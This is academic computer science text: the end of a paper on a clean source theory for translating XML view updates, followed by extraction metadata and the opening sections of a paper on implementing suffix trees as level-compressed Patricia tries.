generator of $v$. For instance, in BookView.xml of Fig. 3, consider $V^0$ as the book element (vb1). Two of its sources are $S_1 = \{ p_1.b1 \}$ and $S_2 = \{ p_1 \}$ in bib.xml. $S_1$ is a clean source of $V^0$, while $S_2$ is not. The reason is that $S_2$ is also a source of the view element book (vb2) in BookView.xml, which is outside of the book (vb1). In other words, if we achieve an update by deleting its publisher (p1), there will be a view side effect on the book (vp2)). This explains the reason of rejecting choice (2) in Example 1. 4 Clean Source Theory We now establish a connection between the concept of a clean source introduced above and update translatability of different update types by introducing a series of theorems. Theorems 1 and 2 together form the Clean Source Theory. While Lemmas 1, 2 and 3 are used to prove Theorems 1 and 2. We assume a view update $u$ is a valid view update and expressed in update primitives (Definition 1 in Section 2). Using two examples below, we first explain the clean source theory intuitively. Example 2. $u$: ( type=delete; ref = /book/review ) $U_1$: ( type=delete; ref = /publisher/book[price=50, year=1990]/review ) $U_2$: ( type=delete; ref = /publisher/book[price=50, year=1990]/review ) $U_3$: ( type=delete; ref = /publisher/book[price=50, year=1990] ) In Example 2, the view update $u$ deletes all the reviews. Thus $V^0 = \{ vb1.vr1, vb1.vr2 \}$ in the BookView.xml. This view update can be translated into three different base updates over bib.xml, namely, $U_1$, $U_2$ and $U_3$. We say that $U_1$ is a correct translation, since it deletes a clean source of $V^0$. That is, $S_1 = \{ p1.b1.r1, p1.b1.r2 \}$. $U_2$ deletes the source $S_2 =$ Example 3. \begin{verbatim} {p1.b1}. S_2 is not clean since it is also the source of book element (vb1) in BookView.xml, which belongs to V - V^0. Similarly, U_3 deletes the source S_3 = \{p1\}, which is not clean. Therefore, intuitively an update translation of a deletion is correct as long as it deletes a clean source of the view part. In Example 3, the view update u inserts a new book element (denoted as vb3) into BookView.xml. The translation U is not correct since it inserts a publisher (denoted as vp4) into bib.xml, but this source S = \{p4\} is not a clean source of vb3. The reason is that a new publisher (denoted as vp4 in BookView.xml) will appear in the view, since S now also serves as a generator of vp4. Therefore, intuitively an update translation of insertion is correct as long as it inserts a clean source of the view part to be inserted, but does not form the generator for any other view element, namely, to insert a source-element for any other view element. Following this intuition, we now explain the clean source theory formally. Let D denote an XML document. Let V^0 be a set of XML view elements in a given XML view V and let v \in V^0 indicate that v is a view element in V^0. Lemma 1. (a) S is a source in D of V^0 iff DEF(D - S) \subseteq V - V^0. (b) S is a clean source in D of V^0 iff DEF(D - S) = V - V^0. Proof. (a) If Suppose DEF(D - S) \subseteq V - V^0 but S is not a source in D of V^0. Let G(V^0) be the set of generators of V^0. From Definition 4, \exists g \in G(V^0) be a generator of v \in V^0, such that (\forall e_i \in g) \Rightarrow e_i \notin S. That is, e_i \in D - S. Thus v \in DEF(D - S). But, g is a generator of v \in V^0. That is v \notin V - V^0. Hence, we have v \in DEF(D - S) and v \notin V - V^0. This is a contradiction with the hypothesis that DEF(D - S) \subseteq V - V^0. Only if. Suppose S is a source in D of V^0 but DEF(D - S) \not\subseteq V - V^0. Then, \exists v such that (v \in DEF(D - S)) \land (v \notin V^0). This implies that there is a generator g of v \in V^0 such that \{e_i | e_i \in g\} \cap S = \emptyset, contradicting the hypothesis that S is a source in D of V^0. (b) If Suppose DEF(D - S) = V - V^0 but S is not a clean source in D of V^0. From (a), S is a source in D of V^0. By Definition 5, (\exists v \in V - V^0) such that there is no generator g \in (D - S) of v. Hence we have v \notin DEF(D - S), a contradiction. Only if. Assume that S is a clean source in D of V^0. By (a), DEF(D - S) \subseteq V - V^0. Assuming V - V^0 \not\subseteq DEF(D - S), that is, (\exists v \in V - V^0) such that (v \notin DEF(D - S)). Then there is no generator g \in (D - S) of v. Hence, by Definition 4, there is no source in (D - S) of v \in V - V^0. This contradicts the hypothesis that S is a clean extended source in D of V^0. \end{verbatim} Lemma 2. Given an XML view $V$ defined by $DEF$ over XML document $D$. Let $u$ and $U$ be updates on $V$ and $D$ (respectively). Let $v \in V$. Then ($U$ deletes a source of $v$ and $U$ does not insert a source-element of $v$) iff $v \notin DEF(U(D))$. Proof. Let $D' = U(D)$ and $T = D - D'$. Let $I'(B_x) \subset U(D)$ denote the updated instance of $I(B_x)$. $U$ deletes a source of $v \in V$ $\iff T$ is a source in $D$ of $v$ $\iff DEF(D - T) \subseteq V - v$ (lemma 1) $\iff v \notin DEF(D - T)$ $\iff v \notin DEF(D \cap D')$ since $D - T = D \cap D'$ $\iff$ (1) There is no generator of $v$ in $(D \cap D')$. $U$ does not insert a source element of $v \in V$ $\iff \forall B_x \in V ars(DEF), \exists e_i \in I'(B_x) - I(B_x), \exists e_j \in I'(B_y) - I(B_y)$ where $B_y \in V ars(DEF)$, $x \neq y$, such that $(e_1, ..., e_p)$ is a generator of $v$. (1) and (2) hold iff there is no generator in $U(D)$ of $v$. The proposition then follows. □ Lemma 3. Let $u, U, V, D$ be as in Lemma 2. Let $v \in \text{dom}(V) - V$. Then $U$ inserts source-elements of $v$ iff $v \in DEF(U(D))$. Proof. $U$ inserts source-elements of $v$ $\iff (\exists B_x \in V ars(DEF), \exists e \in (I'(B_x) - I(B_x))$ (1) $e$ is a source element in $U(D)$ of $v$ $\iff v \in DEF(I'(B_1), ..., I'(B_n)) = DEF(U(D))$. (1) is proven as below: If. Follows directly from Definition 4. Only If. Assume that $g = (e_1, ..., e_p)$ is a generator of $v$, but $\forall B_x \in V ars(DEF), e_i \in I(B_x)$ instead of $e_i \in I'(B_x)$. Then $g \in \prod_{B_x \in \text{CBinding}(n)}(I(B_x))$ and so $v \in DEF(I(B_1), ..., I(B_n))$, that is $v \in DEF(D)$, a contradiction with $v \notin DEF(U(D))$. □ The following theorems form the core of the clean source theory. The intuition is that the XML document updates correctly translate a view update if and only if it deletes or inserts a clear source of the view element to be updated. In other words, a deletion or insertion is translatable as long as there is a clean source of the view element being deleted or inserted. Theorem 1. Let $u$ be the deletion of a set of view elements $V^d \subseteq V$. Let $\tau$ be a translation procedure, $\tau(u, D) = U$. Then $\tau$ correctly translates $u$ to $D$ iff $U$ deletes a clean source of $V^d$. Proof. By lemma 1(b), $U$ deletes a clean source of $V^d$ $\iff DEF(I(B_1) - T_1, ..., I(B_n) - T_n) = V - V^d = u(V)$ $\iff DEF(U(D)) = u(V)$, since $I(B_1) - T_1 = I'(B_1)$ $\iff \tau$ correctly translates $u$ to $U$. □ By Definition 2, a correct delete translation is one without any view side effect. This is exactly what deleting a clean source guarantees by Definition 5. Thus Theorem 1 follows. **Theorem 2.** Let \( u \) be the insertion of a set of view elements \( V^i \) into \( V \). Let \( V^- = V - V^i \). Let \( \tau \) be a translation procedure, \( \tau(u, D) = U \). Then \( \tau \) correctly translates \( u \) to \( D \) iff (i) \( (\forall v \in V^u)(U \) inserts a source-element of \( v \)) and (ii) \( (\forall v \in \text{dom}(V) - (V^u \cup V^-))(U \) does not insert a source element of \( v \)). **Proof.** By Lemma 3, condition (i) iff \( V^u \subseteq \text{DEF}(U(D)) \). Also, since \( \text{type}(u) = \text{insert} \) and \( \text{type}(U) = \text{type}(u) \), \( \text{DEF}(U(D)) \supseteq V \supseteq V^- \). Hence, \( V^u \cup V^- \subseteq \text{DEF}(U(D)) \). By Lemma 3, condition (ii) iff \( (\text{dom}(V) - (V^u \cup V^-)) \cap \text{DEF}(U(D)) = \emptyset \). Hence, \( \text{DEF}(U(D)) \subseteq V^u \cup V^- \). Thus, condition (i) and condition (ii) iff \( \text{DEF}(U(D)) = V^- \cup V^u = u(V) \). That is \( \tau \) correctly translates \( u \) to \( U \). Since \( \text{dom}(V) - (V^u \cup V^-) = (\text{dom}(V) - (V^i \cup V)) \cup (V^i \cap V) \), Theorem 2 indicates a correct insert translation is one without any duplicate insertion (insert a source of \( V^i \cap V \)) and any extra insertion (insert a source of \( \text{dom}(V) - (V^i \cup V) \)). That is, it inserts a clean source for the new view element. ## 5 Update Translatability Case Study Using the BookView.xml defined in Fig. 2, we now perform case studies for different update types. ### 5.1 Case Study on Delete Operation We describe the application of Theorem 1 using additional examples. In Example 4, \( u \) deletes all publishers in the BookView.xml. \( U1 \) is the only choice in our search space, which deletes a source \( S = \{p1\} \) in bib.xml. But it is not a correct translation since \( S \) is not a clean source ( \( S \) is also a source for view element \( \text{vp1} \) in BookView.xml). **Example 4.** \[ u: ( \text{type=delete}; \text{ref} = /book/publisher) \] \[ U1: ( \text{type=delete}; \text{ref} = /publisher[book/price<50 and book/year>1990]) \] (NO) In Example 5, \( u \) deletes all books in the BookView.xml. The search space includes two translations \( U1 \) and \( U2 \). \( U1 \) deletes a source \( S1 = \{p1.b1, p1.b2\} \) in bib.xml. It is a correct translation since \( S1 \) is a clean source. However, \( U2 \) does not correctly translate \( u \). It deletes a source \( S2 = \{p1\} \) in bib.xml, but \( S2 \) is not a clean source. The reason is that \( S2 \) is also a source of another publisher element \( \text{vp1} \) in BookView.xml. **Example 5.** \[ u: ( \text{type=delete}; \text{ref} = /book) \] \[ U1: ( \text{type=delete}; \text{ref} = /publisher/book[price<50 and year>1990]) \] (YES) \[ U2: ( \text{type=delete}; \text{ref} = /publisher) \] (NO) In Example 6, \( u \) deletes the publisher in the BookView.xml with pubid="A01". \( U1 \) is the only choice in our search space, which deletes a source \( S = \{p1\} \) in bib.xml. But it is not a correct translation since \( S \) is not a clean source. \( S \) is also a source for view elements \( \text{vb1} \) and \( \text{vb2} \) in BookView.xml. However, a similar deletion in Example 7 has a correct translation. The reason is that the publisher with pubid="B01" in bib.xml is a clean source for the view element \( \text{vp3} \). Example 6. \[ u: ( \text{type}=\text{delete}; \text{ref} = /\text{publisher}[\text{pubid}='A01'] ) \] \[ U1: ( \text{type}=\text{delete}; \text{ref} = /\text{publisher}[\text{pubid}='A01'] ) \] (NO) Example 7. \[ u: ( \text{type}=\text{delete}; \text{ref} = /\text{publisher}[\text{pubid}='B01'] ) \] \[ U1: ( \text{type}=\text{delete}; \text{ref} = /\text{publisher}[\text{pubid}='B01'] ) \] (YES) 5.2 Case Study on Insert Operation We now describe the application of Theorem 2 using additional examples. In Example 8, the view update \( u \) inserts a new review to the book (\( \text{vb1} \)) in \( \text{BookView.xml} \) as (\( \text{vb1.vr3} \)). \( U \) is the only choice in the search space. It inserts the review into the book (\( \text{p1.b1} \)) in \( \text{bib.xml} \) as \( \text{p1.b1.r3} \). This is a correct translation since this new review (\( \text{p1.b1.r3} \)) is a clean source of the new review (\( \text{vb1.vr3} \)) in the view. Example 8. \[ u: ( \text{type} = \text{insert}; \text{ref} = \text{/book}[\text{title}='TCP/IP Illustrated']; \text{delta} = <\text{review}> <\text{reviewid}>003</\text{reviewid}> <\text{comment}>good</\text{comment}> </\text{review}> ) \] \[ U: ( \text{type} = \text{insert}; \text{ref} = \text{/publisher/book}\ [\text{price}<50 \text{ and year}>1990 \text{ and title}='TCP/IP Illustrated']; \text{delta} = <\text{review}> <\text{reviewid}>003</\text{reviewid}> <\text{comment}>good</\text{comment}> </\text{review}> ) \] Example 9. \[ u: ( \text{type} = \text{insert}; \text{ref} = \text{root}; \text{delta} = <\text{publisher}> <\text{pubid}>A04</\text{pubid}> <\text{pubname}>Wesley</\text{pubname}> </\text{publisher}> ) \] \[ U: ( \text{type} = \text{insert}; \text{ref} = \text{root}; \text{delta} = <\text{publisher}> <\text{pubid}>A04</\text{pubid}> <\text{pubname}>Wesley</\text{pubname}> </\text{publisher}> ) \] In Example 9, the view update \( u \) inserts a new publisher for the book (\( \text{vb1} \)) in \( \text{BookView.xml} \) as (\( \text{vp4} \)). \( U \) is the only choice in the search space. It inserts the new publisher into the \( \text{bib.xml} \) as \( \text{p4} \). This is a correct translation since this new publisher \( \text{p4} \) is a clean source of the inserted publisher (\( \text{vp4} \)) in the view. 6 Related Work Related Work on Update Translatability. The view update translatability problem has been studied in depth for the relational data model. An abstract formulation of the update translation problem is given by the view complementary theorem in [9, 2]. It uses the complement of a view to resolve the ambiguity in mapping between old and new database states. Based on the notion of a clean source, [10] presents an approach for determining the existence of update translations by performing a semantic analysis of the view definition. The first interesting extension of these existing relational works is to tackle the problem of updating XML views published over a relational database [5, 6, 26–28]. Intuitively, this is more complex than their issues of a pure relational view update. Not only do all the problems in the relational context still exist in the XML semantics, but we also have to address the new update issues introduced by the XML hierarchical data model and the flexible view definition language. Recent works [5, 6] study the XML update problem over relational databases using a nested relational algebra. They assume the view is always well-nested, that is, joins are through keys and foreign keys, and nesting is controlled to agree with the integrity constraints and to avoid duplication. The update over such a view is thus always translatable. Our earlier work [26] studies the update translatability of XML views over the relational database in the “round-trip” case, which is characterized by a pair of reversible lossless mappings for (i) loading the XML documents into the relational database, and (ii) extracting an XML view identical to the original XML document back out of it. We prove that the view updates in this case are always translatable. In [27, 28] we extend [10] as a clean-extended source theory and provide a schema-based XML view update translatability checking algorithm. It particularly addresses new challenges related to the decision of translation existence when no restrictions have been placed on the defined view. That is, in general, conflicts are possible and a view cannot always be guaranteed to be well-nested (as assumed by [5, 6, 26]). Our work in this paper further addresses the view update problem for XML views defined over an XML document. This in general is more complex due to dealing with a non-normalized XML data model in both the view and base. The proposed theory is comprehensive but practical with a large spectrum of XML views and XQuery updates being considered. About Update Translation Approach. Works in this direction are different from above. They assume all the view updates considered are translatable and thus they are not concerned with verifying whether they indeed result in side effects in views. Their focus points are solving the ambiguity issue and finding the “best” translation. [1, 13, 14] study the view update translation mechanism for SPJ queries on relations that are in BCNF. These works have been further extended for object-based views in [4]. [22] studies the performance of executing the translated updates over the relational database. Commercial database systems, such as Oracle, DB2 and SQL-Server, also provide XML support. Oracle XML DB [3] provides SQL/XML as an extension to SQL, using functions and operators to query and access XML content as part of normal SQL operations, and also to provide methods for generating XML from the result of an SQL Select statement. The IBM DB2 XML Extender [8] provides user-defined functions to store and retrieve XML documents in XML columns, as well as to extract XML elements or attribute values. However, neither IBM nor Oracle support update operations. [19] introduces XML view updates in SQL-Server2000, based on a specific annotated schema and update language called updategrams. Instead of using update statements, the user provides a before and after image of the view. The system computes the difference between the image and generates the corresponding SQL statements to reflect changes on the relational database. 7 Conclusion In this paper, we tackle the problem of updating XML views published over XML data. We propose a clean source theory to determine whether a view update mapping is correct. We currently have a simple technique for checking update translatability that iterates over the set of sources, and tries to check if it forms a clean source. In the future, we would like to develop efficient algorithms to reduce this search space. Our clean source theory can then be used to establish the correctness of such algorithms. --- 2 The XML views handled by our clean source theory include general FLWR expressions [25], with the exception of if/then/else expressions; user-defined functions and aggregate functions, such as max(), count(), etc. References
{"Source-Url": "https://digitalcommons.wpi.edu/cgi/viewcontent.cgi?referer=&httpsredir=1&article=1163&context=computerscience-pubs", "len_cl100k_base": 10575, "olmocr-version": "0.1.53", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 55333, "total-output-tokens": 13171, "length": "2e13", "weborganizer": {"__label__adult": 0.00033211708068847656, "__label__art_design": 0.0004024505615234375, "__label__crime_law": 0.0003440380096435547, "__label__education_jobs": 0.0010786056518554688, "__label__entertainment": 7.545948028564453e-05, "__label__fashion_beauty": 0.00017464160919189453, "__label__finance_business": 0.0004138946533203125, "__label__food_dining": 0.0003108978271484375, "__label__games": 0.0004343986511230469, "__label__hardware": 0.0007529258728027344, "__label__health": 0.0006127357482910156, "__label__history": 0.000335693359375, "__label__home_hobbies": 0.00010436773300170898, "__label__industrial": 0.0004210472106933594, "__label__literature": 0.0003638267517089844, "__label__politics": 0.0002567768096923828, "__label__religion": 0.0004863739013671875, "__label__science_tech": 0.07025146484375, "__label__social_life": 0.00010961294174194336, "__label__software": 0.017974853515625, "__label__software_dev": 0.90380859375, "__label__sports_fitness": 0.00025177001953125, "__label__transportation": 0.0005106925964355469, "__label__travel": 0.00021982192993164065}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43861, 0.02846]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43861, 0.40287]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43861, 0.83698]], "google_gemma-3-12b-it_contains_pii": [[0, 821, false], [821, 3933, null], [3933, 6171, null], [6171, 7948, null], [7948, 11625, null], [11625, 14882, null], [14882, 17309, null], [17309, 20034, null], [20034, 23588, null], [23588, 26428, null], [26428, 28928, null], [28928, 32491, null], [32491, 36000, null], [36000, 39637, null], [39637, 43303, null], [43303, 43861, null]], "google_gemma-3-12b-it_is_public_document": [[0, 821, true], [821, 3933, null], [3933, 6171, null], [6171, 7948, null], [7948, 11625, null], [11625, 14882, null], [14882, 17309, null], [17309, 20034, null], [20034, 23588, null], [23588, 26428, null], [26428, 28928, null], [28928, 32491, null], [32491, 36000, null], [36000, 39637, null], [39637, 43303, null], [43303, 43861, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43861, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43861, null]], "pdf_page_numbers": [[0, 821, 1], [821, 3933, 2], [3933, 6171, 3], [6171, 7948, 4], [7948, 11625, 5], [11625, 14882, 6], [14882, 17309, 7], [17309, 20034, 8], [20034, 23588, 9], [23588, 26428, 10], [26428, 28928, 11], [28928, 32491, 12], [32491, 36000, 13], [36000, 39637, 14], [39637, 43303, 15], [43303, 43861, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43861, 0.0]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
cdf1dd63206f772dea7d45bdfd8ad0902e182c56
Efficient Implementation of Suffix Trees* Arne Andersson Stefan Nilsson Department of Computer Science, Lund University, Box 118, S-221 00 Lund, Sweden Abstract We study the problem of string searching using the traditional approach of storing all unique substrings of the text in a suffix tree. The methods of path compression, level compression, and data compression are combined to build a simple, compact, and efficient implementation of a suffix tree. Based on a comparative discussion and extensive experiments, we argue that our new data structure is superior to previous methods in many practical situations. Keywords: LC-trie, path compression, level compression, data compression, suffix tree, suffix array. Introduction Locating substrings in text documents is a commonly occurring task. For large documents, such as books, dictionaries, encyclopedias, and DNA sequences, the choice of data structure and algorithms will have noticeable effect on computer capacity requirements and response times. If the document is small or if speed is of no concern, we can answer a query by scanning the entire text. However, if the text is long and we expect to perform many searches it will be worthwhile to perform a preprocessing step where we build a data structure to speed up searches. A comprehensive survey of string searching in preprocessed text can be found in Section 7.2 of “Handbook of Algorithms and Data Structures” [1]. A common method to accelerate string searching is to store references to all sistrings of the text in a trie. A sistring (semi-infinite string) is a substring of the text, defined by its starting position and continuing to the right as far as necessary to make the string unique. The resulting trie is known as a suffix tree. This data structure has a wide range of applications, including approximate string matching, compression schemes, and genetic sequences. The papers by Apostolico [2] and Manber and Myers [3] contain extensive lists of references. In this article we discuss how the suffix tree can be used for string searching. We examine an unconventional representation of a trie, which uses adaptive branching; the number of descendants of a node depends on how the elements are distributed. This data structure, the \textit{level-compressed trie} or \textit{LC-trie} [4], constitutes an efficient representation of a binary trie. We show that this new approach, when combined with other standard compression methods, gives a fast and compact data structure that is easy to implement. *Published in \textit{Software—Practice and Experience, 25(2):129–141, 1995.} The Level-Compressed Patricia Tree In this section we discuss a new implementation of a level-compressed Patricia tree, which can be used to accelerate string searching in large texts. In essence, this structure is a compact version of a trie [1], a tree structure that uses the characters of the key to guide the branching. In the standard implementation the internal nodes of the trie contain a set of pointers to nodes. A search is performed in the following way: The root uses the first character of the search string to select the subtree in which to continue the search, the direct descendants of the root use the second character, and so on. An example of a trie is shown in Figure 1(a). For a detailed explanation of the figure we refer the reader to the example at the end of this section. We will focus our attention on binary tries, since they are particularly easy to implement. An example of a binary trie is given in Figure 1(b). Path Compression A well known method to decrease the search cost in binary tries is to use path compression. At each internal node an index is used to indicate the character used for branching at this node. With this additional information available at the nodes, we can remove all internal nodes with an empty subtree. The path-compressed binary trie is often called a Patricia trie [1]. The Patricia tree corresponding to the binary trie in Figure 1(b) is shown in Figure 1(c). We also observe that the size of the Patricia tree does not depend on the length of the strings, but only on the total number of strings. A Patricia tree storing $n$ strings has exactly $2n - 1$ nodes. A Patricia tree can be represented very space efficiently by storing the nodes in an array. Each node is represented by two numbers, one that indicates the number of bits that can be skipped and one that is a pointer to the left child of the node. A pointer to the right child is not needed if the siblings are stored at consecutive positions in the array. Each leaf represents a unique substring and may contain a pointer to some other data structure. Level Compression Level compression [4] can be used to reduce the size of the Patricia tree. To make the description easier to follow we start by considering a plain binary trie (without Patricia compression). If the $i$ highest levels of the trie are complete, but level $(i + 1)$ is not, we replace the $i$ highest levels by a single node of degree $2^i$. This replacement is repeated top-down and we get a structure that adapts nicely to the distribution of the input. We will refer to this data structure as a level-compressed trie or an LC-trie. For random independent data the expected average depth of an LC-trie is much smaller than that of a trie: $O(\log^* n)$ for an LC-trie but $O(\log n)$ for a trie. It should be clear that path compression and level compression can be combined. Each internal node of degree two that has an empty subtree is removed, and at each internal node we use an index that indicates the number of bits that have been skipped. The level-compressed version of the Patricia tree in Figure 1(c) is shown in Figure 1(d). The LC-trie is very easy to implement. In fact, we can use essentially the same implementation as above. We store the nodes in an array and siblings are stored in consecutive positions. Each node is represented by three numbers, two of which indicate the number of bits to be skipped and the position of the leftmost child. The third number indicates the number of children. This number will always be a --- 1The function $\log^* n$ is the iterated logarithm function: $\log^* 1 = 1$; for $n > 1$, $\log^* n = 1 + \log^*([\log n])$. 2 Figure 1: (a) Trie (b) Binary Trie (c) Patricia tree (d) LC-trie. power of 2 and hence it can be represented using a small number of bits. In fact, if the tree has $n$ leaves, $\lceil \log \log(n) \rceil$ bits will suffice. **Example:** DNA sequences are strings made up from the four nucleotide bases A, G, T, and C (A = adenine, G = guanine, C = cytosine, T = thymine). In this example we consider the first 15 nucleotide bases of the Epstein-Barr virus: AGAATTCGTCCTGCT In Figure 1 we show how the sistrings of this string can be represented by different trie structures. The numbers inside the nodes are pointers into the string. (a) A traditional trie, internal nodes have degree 4. (b) The corresponding binary trie. We have coded A, G, T, and C, as 00, 01, 10, and 11, respectively. The string 100000... has been appended to the end of the sequence to make sure that all sistrings are unique. (c) The corresponding Patricia tree. The long path has been replaced by a skip value. (d) The corresponding LC-trie. Table 1 shows the array representation of the LC-trie, each entry represents a node. The number in the “branch” column indicates the number of bits used for branching at each node. A value $k \geq 1$ indicates that the node has $2^k$ children. The value $k = 0$ indicates that the node is a leaf. The number in the “skip” column is the Patricia skip value, i.e. the number of bits that can be skipped during a search operation. The value in the “pointer” column has two different interpretations. For <table> <thead> <tr> <th>branch</th> <th>skip</th> <th>pointer</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>3</td> <td>1</td> </tr> <tr> <td>1</td> <td>1</td> <td>9</td> </tr> <tr> <td>2</td> <td>0</td> <td>3</td> </tr> <tr> <td>3</td> <td>0</td> <td>1</td> </tr> <tr> <td>4</td> <td>1</td> <td>11</td> </tr> <tr> <td>5</td> <td>0</td> <td>11</td> </tr> <tr> <td>6</td> <td>2</td> <td>13</td> </tr> <tr> <td>7</td> <td>0</td> <td>6</td> </tr> <tr> <td>8</td> <td>1</td> <td>19</td> </tr> <tr> <td>9</td> <td>0</td> <td>2</td> </tr> <tr> <td>10</td> <td>0</td> <td>0</td> </tr> <tr> <td>11</td> <td>0</td> <td>7</td> </tr> <tr> <td>12</td> <td>0</td> <td>12</td> </tr> <tr> <td>13</td> <td>1</td> <td>17</td> </tr> <tr> <td>14</td> <td>0</td> <td>4</td> </tr> <tr> <td>15</td> <td>0</td> <td>5</td> </tr> <tr> <td>16</td> <td>0</td> <td>8</td> </tr> <tr> <td>17</td> <td>0</td> <td>14</td> </tr> <tr> <td>18</td> <td>0</td> <td>10</td> </tr> <tr> <td>19</td> <td>0</td> <td>13</td> </tr> <tr> <td>20</td> <td>0</td> <td>9</td> </tr> </tbody> </table> Table 1: Array representation of the LC-trie in Figure 1d. an internal node, it is used as a pointer to the leftmost child; for a leaf it is used as a pointer to the position of the string in the text. As an example we search for the string TCG. The binary code for this string is 101101. We start at the root, node number 0. We see that “branch” is 3 and “skip” is 0 and therefore we extract the first three bits from the search string. These 3 bits have the value 5 which is added to “pointer”, leading to position 6. At this node “branch” is 2 and “skip” is 0 and therefore we extract the next two bits. They have the value 2. Adding 2 to “pointer” we arrive at position 15. This node has “bits” equal to 0 which implies that it is a leaf. The pointer value 5 gives the position of the string in the text. Observe that it is necessary to check whether this constitutes a true hit. For example, the search for TGG is exactly mirrored by a search for TCAG; the former string is present in the text, whereas the latter is not. Further Compression In our experiments we have used a simple strategy to reduce the size of the LC-trie. Internal nodes are restricted to have either a positive Patricia skip value or a branching factor larger than two. We replace the two fields “branch” and “skip” by one integer, one bit of which is used to distinguish between the different types of values. This will reduce the size of the nodes and the fact that we may end up using somewhat fewer skip values turns out to have very little effect in practice. Compared to the original LC-trie, the number of nodes will only increase by a small fraction and hence we get an overall size reduction. A New Data Structure for String Searching In this section we discuss how the LC-trie can be used for string location. In particular, we discuss how the binary encoding of the text affects the behavior of the data structure and how texts that are too large to fit in main memory can be managed. Suffix Tree A document of length n may be viewed as consisting of n sistings, one sistring starting at each position of the text. The traditional method is to store these sistings (or a suitable subset of them) in a path-compressed trie; the resulting structure is called a suffix tree [1]. As will be shown by our experiments this data structure can be substantially improved by level compression. To keep the data structure simple it is common practice to make sure that no sistring in the text is a proper prefix of another sistring. This can be achieved by appending a unique string at the end of the text. A frequently used method is to augment the alphabet with a new character solely used for this purpose. The new character is appended to the end of the text. Another solution that is especially attractive when handling binary strings, is to append the string 100000... to the end of the text. 2 Huffman Coding Often, a text is represented using ASCII-code, where each character is represented by an 8 bit integer. However, it is unlikely that all 256 possible characters will actually be used. In fact, a normal text often uses less than a hundred characters. The superfluous bits in the ASCII-code will increase the search time in the binary strings. 2In fact, any non-periodic string may be used. trie, even when path compression is used. Therefore we suggest the use of Huffman coding [5], the easiest and most well known data compression method. Huffman coding has the advantage of generating more evenly distributed binary strings and hence we will get a well balanced LC-trie with high branching factors. Observe that it is possible to use the Huffman coded version of the characters within the trie even if the text is stored in a different format. Construction A suffix tree implemented as a level-compressed Patricia tree can be constructed in $O(n \log k)$ time and $O(n)$ space, where $n$ is the size of the text and $k$ is the size of the alphabet. A brute force method that achieves this starts by constructing an ordinary suffix tree, i.e. a path-compressed $k$-ary trie, containing all sistrosings of the text. There are several algorithms that do this in $O(n \log k)$ time and $O(n)$ space [6, 7]. We also assume that the text ends with a special end marker and we assume that the binary encodings of the characters are of equal length. The LC-trie can now be constructed in two steps. First, each node of the suffix tree is replaced by a binary Patricia tree and the skip values are updated. This takes $O(n)$ time since the total number of nodes is $O(n)$ both in the original and in the modified tree. (Observe that a skip value can be updated in constant time only if we assume that the binary encodings of the characters are of equal length.) Then, the level compression is performed during a top-down traversal of this modified tree. The topmost $i$ complete levels of the tree are replaced by a single node of degree $2^i$ and this replacement is performed recursively on each subtree. Once again, this step can be performed in $O(n)$ time, since the total number of nodes in the tree is $O(n)$. In practice an even simpler method can often be used. First, construct an array of pointers to all sistrosings of the text and sort this array using a standard sorting algorithm, such as the $n \log n$ time suffix sort algorithm by Manber and Myers [3] or a fast string sorting algorithm such as Forward Radix Sort [8]. Given this sorted array, it is easy to make a top-down construction of the LC-trie. The algorithm is quite easy to implement, but it has a quadratic worst case running time. However, we found this approach to be quite efficient for most of our input data. Only one text, a DNA sequence containing long repeated substrings, took noticeably more time to construct. Secondary Memory Many applications need to handle large texts that do not fit in main memory. To reduce the number of time-consuming accesses to secondary memory a partial data structure that fits in main memory could be employed. We suggest a partial LC- trie stored in main memory used as an index into a suffix array [3] (PAT array [1]) stored in secondary memory. The suffix array consists of an array of pointers. Each pointer points to a sistrosing in the text and the pointers are sorted according to the sistrosings that they point to. The partial LC-trie is constructed in the following way. As soon as we reach a node that covers less than $k$ strings, where $k$ is a constant, we stop the tree building algorithm and add a pointer into the suffix array. The number $k$ is called the cutoff value. Other Implementations In this section we describe some of the most common data structures used to speed up string searching. Trie Implementations The implementation of a suffix tree most commonly referred to in the literature is a k-ary trie, where k is the size of the alphabet. Such a trie may be implemented in several ways. Since this data structure has been extensively studied [1] we just briefly mention the three most common implementations. - Each internal node consists of an array of pointers to the descendants. The length of the array equals the size of the alphabet. - The non-null outgoing pointers are stored in a linked list. - The non-null outgoing pointers are stored in a (balanced) binary search tree. However, all of these implementations give rise to a large space overhead, reducing the usefulness in practical applications. Another possibility is to use a Patricia tree. In this case, we ignore the size of the alphabet and use a binary encoding of the strings. The space requirement for the Patricia tree will be much smaller than for the corresponding alphabetic trie. On the other hand, the binary strings are longer than their alphabetic counterparts and hence the search time will increase. Array Implementations Another very natural method, suggested by Manber and Myers [3], is to store references to all suffixes in a suffix array. The suffix array consists of an array of pointers. Each pointer points to a suffix in the text and the pointers are sorted according to the suffixes that they point to. String location is performed by making a binary search in the array. One possible drawback of this simple structure is that the worst case time for searching is high. Also, the text has to be accessed at each step of the search, which might be very costly if the text is stored on secondary memory. In order to achieve a low worst case cost, Manber and Myers also introduced an augmented suffix array, where two numbers were added to each entry. These numbers indicate how many characters at the beginning of each string that can be skipped during comparisons. 